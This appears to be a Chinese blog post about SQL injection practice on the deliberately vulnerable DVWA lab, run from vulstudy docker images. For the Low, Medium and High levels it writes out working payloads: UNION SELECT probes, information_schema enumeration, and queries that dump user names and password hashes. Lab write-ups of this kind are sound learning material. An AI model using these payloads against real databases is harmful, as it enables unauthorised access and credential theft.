vulstudy之DVWAsql注入练习

Vulstudy/DVWA sql注入练习

目录

Vulstudy/DVWA sql注入练习 

一.Vulstudy搭建 

二.Sql注入 

Low级别: 

medium级别 

High级别 

一.Vulstudy搭建

vulstudy vulstudy是专门收集当下流行的漏洞学习平台,并将其制作成docker镜像,方便大家快速搭建环境,节省搭建时间,专注于漏洞学习上。包含以下漏洞平台 下面就来详细介绍下环境搭建过程。

项目地址:

https://github.com/c0ny1/vulstudy.git

本人使用的是ubuntu7.5.0

命令:

git clone https://github.com/c0ny1/vulstudy.git

Cd DVWA

Docker-compose up -d 启动

访问浏览器,搭建成功

二.Sql注入

Low级别

1‘and 1=1

报错

1‘and 1=1#

猜字段

1‘and 1=1 order by 2 #

1‘and 1=1 order by 3 #

报错

可知显示字段只有两位。

联合查询

-1' union select 1,2#

发现注入成功,查询版本。

-1' union select version(),database()#

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='users'

获取用户信息

1' union select user,password from users # 

挑一个密码md解密

medium级别

注入点不好判断,直接用burp抓包

id=1 and 1=1

没报错,注入点应为数字注入型

id=1 union select version(),2

后续思路和上一关一样,最后直接查询密码。

id=1 union select user,password from users #

High级别

所谓high级别就是报错只回显 Something went wrong 界面

其实和第一关差不多。

1' union select user,password from users#

至此DVWA sql注入靶场完成。

posted @   fugodd  阅读(112)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
  1. 1 Умри если меня не любишь AnimeVibe
  2. 2 The Among Us Rap Battle Imposter Edition VideoGameRapBattles
The Among Us Rap Battle Imposter Edition - VideoGameRapBattles
00:00 / 00:00
An audio error has occurred, player will skip forward in 2 seconds.

暂无歌词

点击右上角即可分享
微信分享提示